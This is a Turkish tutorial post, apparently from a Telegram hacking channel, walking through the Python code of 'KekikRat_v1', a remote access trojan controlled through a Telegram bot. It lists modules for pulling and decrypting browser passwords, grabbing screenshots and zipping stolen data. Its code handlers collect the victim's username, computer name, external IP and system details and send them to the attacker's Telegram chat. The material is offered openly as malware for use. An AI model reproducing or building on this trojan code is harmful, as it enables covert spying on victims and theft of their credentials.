TelegramBot
February 25, 2020
KekikRat_v1 Kod İncelemesi
🕊 Bu döküman @KekikAkademi için oluşturulmuştur. ✌🏼
KekikRat_v1 Python diliyle yazılmış, Telegram üzerinden kontrol edilebilen Uzaktan Erişim sağlayan Truva Atıdır.
Kullanmaya başlamadan önce BotFather ile oluşturduğumuz bot'a Commands eklememiz gerekiyor..
Modüllerimize Bakalım;
import os # Dizinler ve dosyalarla çalışmak için import platform # PC bilgileri için import webbrowser # Tarayıcıda bağlantı açtırmak için import subprocess # Kill Process(İşlem Sonlandırma) Kullanmak için import shutil # Tarayıcı verilerini kopyalamak için import sqlite3 # Tarayıcıdan çekilen veritabanlarıyla çalışmak için import win32crypt # Tarayıcıdan çekilen şifrelenmiş verileri çözmek için from PIL import ImageGrab # Ekran görüntüsü almak için import zipfile # Topladığımız verileri Zip'lemek için import requests # Telegram'a Belge ve Ekran görüntüsü göndermek için import telebot # Esas oğlanımız TeleBot
TeleBot Bağlantımızı Sağlayalım;
Bot_Token = "XXXX:XXXX" # Bot Token Chat_ID = "XXXX" # Chat ID KekikRAT = telebot.TeleBot(Bot_Token) # telebot'a Tokenimizi bağladık
Komut - Kod Bağlantıları
/basla Komutu
@KekikRAT.message_handler(commands=['basla', 'Basla']) # Basla Komutunu bekliyorum def baslangic(command): # Komut yürütülürse KekikRAT.send_message(Chat_ID, "☣ KekikRAT Çalışıyor ☣" + "\n\nKomutları Öğrenmek için: /komutlar yazabilirsin.." + "\n\nCoded by @keyiflerolsun \nSpecial for @KekikAkademi ♥") # Mesaj gönder
/sistem Komutu
@KekikRAT.message_handler(commands=['sistem', 'Sistem']) # sistem Komutunu bekliyorum def sistem(command): r = requests.get('http://ip.42.pl/raw') # Harici IP'yi bulmak için bir GET isteği yolluyoruz KullaniciAdi = os.getlogin() # Kullanıcı Adı Değişkeni tanımlıyoruz BilgisayarAdi = platform.node() # Bilgisayar Adı Değişkeni IP = r.text # IP Değişkeni tanımlıyoruz Sistem = platform.system() # İşletim Sistemi Bilgisi Bellenim = platform.release() # Bellenim Sürümü Bilgisi islemci = platform.processor() # İşlemci Özellikleri KekikRAT.send_message(Chat_ID, "Kullanıcı : " + KullaniciAdi + '@' + BilgisayarAdi + "\n\nIP : " + IP + "\n\nOS : " + Sistem + ' | ' + Bellenim + "\n\nİşlemci : " + islemci) # Mesaj gönder
işte komut - kod bağlantımız bu şekilde :)
Her şeyi tamamladıktan sonra betiğin en altına;
KekikRAT.polling()
kodunu ekleyerek dinlemede kalmasını sağlıyoruz, her şey bu kadar :)
Kodların Tamamı
__________________________
📃 Yandex.Disk Bünyemizdeki veriler 900GB'ı geçmiştir..
Paylaşılan Kursların Tümünü @KekikKahve Grubu notlarından Çağırabilirsiniz..
🕊️ Bize oy verip paylaşarak destek olmaya ne dersin? ✌🏼